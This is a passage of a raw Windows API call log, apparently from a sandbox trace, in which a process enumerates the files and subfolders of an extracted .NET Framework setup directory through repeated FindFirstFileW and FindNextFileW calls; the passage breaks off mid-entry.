[0063.361] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0063.362] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0063.362] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0063.362] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.362] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582e08 [0063.362] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.362] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0063.362] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0063.362] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0063.362] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0063.363] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.363] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0063.363] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.363] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d88 [0063.365] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.365] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0063.365] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0063.365] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0063.365] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0063.365] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0063.366] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0063.367] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0063.367] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0063.367] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0063.367] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.367] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0063.368] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0063.368] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0063.368] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0063.368] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0063.368] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0063.368] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0063.369] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0063.369] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0063.369] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0063.369] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0063.369] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0063.370] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0063.370] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0063.370] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0063.370] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0063.370] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0063.370] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0063.370] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, 